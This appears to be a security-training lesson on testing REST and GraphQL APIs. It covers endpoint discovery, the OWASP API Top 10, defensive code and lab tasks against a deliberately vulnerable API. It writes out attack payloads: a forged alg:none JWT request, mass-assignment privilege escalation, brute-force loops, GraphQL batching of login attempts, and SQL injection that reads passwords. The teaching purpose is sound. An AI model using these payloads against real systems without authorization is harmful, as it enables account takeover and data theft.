API Security Testing

Systematically test REST and GraphQL APIs for security vulnerabilities — broken authentication, IDOR, mass assignment, excessive data exposure, injection, and GraphQL-specific attacks.

Hard 70m 3 tasks

Learning Objectives

  • Map an API using Burp Suite, Postman, and documentation scraping
  • Test for OWASP API Security Top 10 vulnerabilities
  • Exploit GraphQL introspection, batching, and injection
  • Bypass API authentication: JWT attacks, API key leaks, OAuth misconfigs
  • Implement API security: rate limiting, authentication, authorization, output filtering

API Attack Surface

Modern apps expose:
- REST APIs: /api/v1/users, /api/v2/products
- GraphQL: /graphql (single endpoint, flexible queries)
- gRPC: binary protocol
- WebSocket: ws://api.example.com/ws

Attack surface = everything the API accepts and returns

API Discovery

# 1. Read API documentation (if public)
/api-docs, /swagger.json, /openapi.json, /api/schema

# 2. Burp Suite Target > Site Map after browsing app

# 3. Check JS files for API endpoints:
grep -r "api/" static/js/ --include="*.js"
# or in Burp: Target > Site Map > Filter > JS

# 4. Google dorking:
site:target.com inurl:api

# 5. Swagger/OpenAPI discovery:
feroxbuster -u https://target.com -w api-endpoints.txt
ffuf -u https://target.com/FUZZ -w swagger-paths.txt

# 6. Common paths:
/api, /api/v1, /api/v2, /rest, /v1, /v2
/swagger-ui.html, /swagger.json, /openapi.json
/graphql, /graphiql, /playground

OWASP API Security Top 10

API1: Broken Object Level Authorization (BOLA/IDOR)
API2: Broken Authentication
API3: Broken Object Property Level Authorization (Mass Assignment / Excessive Exposure)
API4: Unrestricted Resource Consumption (Rate limiting)
API5: Broken Function Level Authorization
API6: Unrestricted Access to Sensitive Business Flows
API7: Server Side Request Forgery (SSRF)
API8: Security Misconfiguration
API9: Improper Inventory Management (old API versions)
API10: Unsafe Consumption of APIs

REST API Testing

Authentication Testing

# Test endpoints without token:
curl https://api.target.com/v1/users

# Test with expired token:
curl -H "Authorization: Bearer EXPIRED_TOKEN" https://api.target.com/v1/profile

# Test with weak JWT:
# 1. Decode JWT (base64url)
echo "PAYLOAD_PART" | base64 -d

# 2. Try alg:none:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9."      https://api.target.com/admin

# 3. Check for API key in JS files:
grep -r "api_key\|apiKey\|API_KEY\|Authorization" static/ --include="*.js"

IDOR / BOLA Testing

# Create two accounts, get your resource IDs
# Account A: GET /api/orders/1042 → your order
# Account B: GET /api/orders/1042 → can B read A's order?

# Test: change user parameter
GET /api/profile?user_id=1
GET /api/profile?user_id=2

# Test: change ID in path
GET /api/messages/1234
GET /api/messages/1235

# Test: change object in body
PUT /api/admin/update
{"user_id": 1, "role": "admin"}

Excessive Data Exposure

// API returns:
GET /api/user/profile
{
    "id": 42,
    "name": "Alice",
    "email": "[email protected]",
    "password_hash": "$2b$12$...",   // should not be returned!
    "api_secret": "s3cr3t",          // internal field exposed!
    "internal_notes": "VIP customer", // PII not needed
    "credit_card_last4": "4242"       // not requested by client
}

// Fix: explicit response schema — only return needed fields:
class UserProfileResponse(BaseModel):
    id: int
    name: str
    email: str
    # password_hash excluded  never returned

Mass Assignment Testing

# Profile update API:
PUT /api/profile
{"name": "Alice"}

# Test: add privileged fields:
PUT /api/profile
{"name": "Alice", "is_admin": true, "role": "admin", "balance": 99999}

# Check if response includes updated privileged field or
# if the next login shows elevated privileges

Rate Limiting Testing

# Test: 100 rapid requests
for i in {1..100}; do
    curl -s https://api.target.com/login          -d '{"user":"admin","pass":"test"}' &
done

# Or with Burp Intruder/Repeater:
# Null payload, 100 iterations, check for 429 Too Many Requests

# Missing rate limit: authentication brute force possible
# Missing rate limit: API abuse (scraping, spam)

GraphQL API Testing

GraphQL Introspection

# Enumerate all types, queries, mutations:
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args { name type { name } }
      }
    }
  }
}

# Get all queries:
{
  __schema {
    queryType {
      fields { name description }
    }
  }
}

GraphQL IDOR

# Vulnerable: no ownership check
query {
  order(id: 1042) {
    id
    items
    total
    user { email }
  }
}

# Test: change id to another user's order
query {
  order(id: 1041) {   # another user's order
    id
    items
    total
    user { email }    # exposes their email!
  }
}

GraphQL Batching Attack

// GraphQL allows multiple operations in one request:
[
  {"query": "mutation { login(user:"admin", pass:"admin1") }"},
  {"query": "mutation { login(user:"admin", pass:"admin2") }"},
  {"query": "mutation { login(user:"admin", pass:"admin3") }"},
  ...100 more...
]

// One HTTP request = 100 login attempts
// Rate limiter counts 1 request, not 100 operations
// Bypasses per-request rate limiting for brute force!

// Fix: limit operations per request, rate limit per operation

GraphQL Injection

# SQLi in GraphQL argument:
{
  user(id: "1 UNION SELECT username,password FROM users--") {
    name
  }
}

# SSTI in template field:
{
  greeting(name: "{{7*7}}") {
    message
  }
}

GraphQL Introspection Disabled Bypass

# When introspection is disabled:
# Try field suggestions (GraphQL shows similar field names on typo):
{
  usr { id }   # Server: "Did you mean 'user'?"
}

# Clairvoyance tool — guesses fields from suggestions:
clairvoyance -u https://api.target.com/graphql -o schema.json

API Security Best Practices

# 1. Authentication on every endpoint
@app.route("/api/data")
@require_auth                  # every endpoint
def get_data():
    ...

# 2. Rate limiting (django-ratelimit or similar):
@ratelimit(key="ip", rate="100/h")  # per IP, 100/hour
def api_view(request):
    ...

# 3. Output filtering — explicit response schema:
class UserResponse(TypedDict):
    id: int
    name: str
    email: str
    # Never: password_hash, api_key, internal fields

# 4. Input validation:
from pydantic import BaseModel, validator

class LoginRequest(BaseModel):
    username: str
    password: str

    @validator('username')
    def username_valid(cls, v):
        if len(v) > 64 or not v.isalnum():
            raise ValueError('Invalid username')
        return v

# 5. CORS: exact allowlist
# 6. Log all API calls: timestamp, user, endpoint, response code
# 7. Versioning: deprecate old versions, don't leave API1 when API3 is live

Audit a sample REST API (use OWASP crAPI or similar vulnerable API): (1) discover endpoints via Swagger docs and JS grep, (2) test authentication: remove token, use expired token, try alg:none JWT, (3) test IDOR: change ID in every endpoint, (4) check all responses for excessive data exposure (sensitive fields returned), (5) test rate limiting: 50 rapid login attempts, (6) document all findings with CVSS severity.

✦ Answer the questions to complete this task

What does 'Broken Object Level Authorization' mean in OWASP API Top 10?

What is excessive data exposure in REST APIs?

On a GraphQL endpoint (/graphql): (1) run introspection query to map all types and mutations, (2) find a user query — test IDOR by changing ID, (3) test batching: send 50 login mutations in one request, (4) look for SQLi in argument values, (5) if introspection is disabled, use field suggestions to guess the schema, (6) document each vulnerability with a PoC query.

✦ Answer the questions to complete this task

Why is GraphQL batching a security risk?

Secure a Flask REST API: (1) add JWT authentication middleware on all endpoints, (2) implement per-IP rate limiting (100 req/hour) using Flask-Limiter, (3) fix all IDOR: filter all queries by request.user, (4) create explicit response schemas (TypedDict/Pydantic) that exclude sensitive fields, (5) add input validation with Pydantic models, (6) disable GraphQL introspection in production, (7) add API versioning: /api/v1 → /api/v2.

✦ Answer the questions to complete this task

Why should GraphQL introspection be disabled in production?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

API Security MCQ

API Security MCQ

Start →
⚙️ Practical Medium +30 XP

Full API Security Assessment

Full API Security Assessment

Start →
🚩 Challenge Hard +50 XP

GraphQL Authorization Bypass

GraphQL Authorization Bypass

Start →